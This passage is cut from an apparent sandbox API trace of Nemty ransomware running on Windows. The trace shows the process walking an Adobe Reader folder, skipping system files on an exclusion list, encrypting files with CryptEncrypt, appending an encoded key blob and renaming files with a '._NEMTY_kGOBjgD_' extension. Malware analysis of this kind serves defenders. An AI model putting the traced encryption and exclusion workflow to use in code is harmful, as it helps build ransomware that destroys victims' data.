(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0174.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0174.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0174.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.876] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0174.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0174.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0174.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.878] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdc77b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1bdc77b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1bdc77b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0174.878] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0174.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0174.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0174.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.879] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdc77b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1bdc77b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1bdc77b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0174.879] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.879] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0174.879] lstrcmpiW (lpString1="Spelling.DAN", lpString2=".") returned 1 [0174.879] lstrcmpiW (lpString1="Spelling.DAN", lpString2="..") returned 1 [0174.879] lstrcmpiW (lpString1="Spelling.DAN", lpString2="...") returned 1 [0174.879] lstrcmpiW (lpString1="Spelling.DAN", lpString2="windows") returned -1 [0174.879] lstrcmpiW (lpString1="Spelling.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="rsa") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="NTDETECT.COM") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="ntldr") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="MSDOS.SYS") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="IO.SYS") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="boot.ini") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="boot.ini") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="ntuser.dat") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="desktop.ini") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="CONFIG.SYS") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="RECYCLER") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="bootmgr") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="programdata") returned 1 [0174.880] lstrcmpiW (lpString1="Spelling.DAN", lpString2="appdata") returned 1 [0174.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DAN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.881] Sleep (dwMilliseconds=0x5) [0174.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1be39bd0, dwHighDateTime=0x1d561e8)) [0174.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1be39bd0, dwHighDateTime=0x1d561e8)) [0174.889] GetLastError () returned 0x12 [0174.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.889] GetLastError () returned 0x12 [0174.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.890] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.890] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.890] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.890] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IoHzAaRLKR/RJpjBTaodUz5uWEh7JkPJ9EiEw1Kq1MvKP1y6IbJe1WIXFvu4V7Mh\r\nV+8oo3+nC5ju+z7R4pn5PjrhuB1xHUK4k/MwateNBB/asj4VgFcDC0H5pnHr5sqn\r\n9wTAnYJXo7p2kMi6cFDSuoaYG1cD8+eeccEKDvk4gYtPbMt27qQpTd5xzDdzjLT5\r\ntLm64q7Xz2LRZJE2g7EDVzEHx6wnDsxpfva3atqTKTEN9OMnVnctNEcoKmqYF2EL\r\nJLV114NpQVkvMPacVr1bSDWSnhdVRtw8/gOmuCcToK9kPQatyPMeCzvTb521zQjU\r\nV+iN9TtWAuKd6R4kKRFAWA==\r\n", pcchString=0x653e5dc) returned 1 [0174.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\spelling.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.891] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0174.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0174.891] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.891] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0174.893] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.893] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0174.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.893] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0174.893] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.893] CloseHandle (hObject=0x2e8) returned 1 [0174.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.894] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\spelling.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\spelling.dan._nemty_kgobjgd_")) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.894] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.DAN", cAlternateFileName="")) returned 1 [0174.894] lstrcmpiW (lpString1="updater.DAN", lpString2=".") returned 1 [0174.894] lstrcmpiW (lpString1="updater.DAN", lpString2="..") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="...") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="windows") returned -1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="rsa") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="NTDETECT.COM") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="ntldr") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="MSDOS.SYS") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="IO.SYS") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="boot.ini") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="boot.ini") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="ntuser.dat") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="desktop.ini") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="CONFIG.SYS") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="RECYCLER") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.895] lstrcmpiW 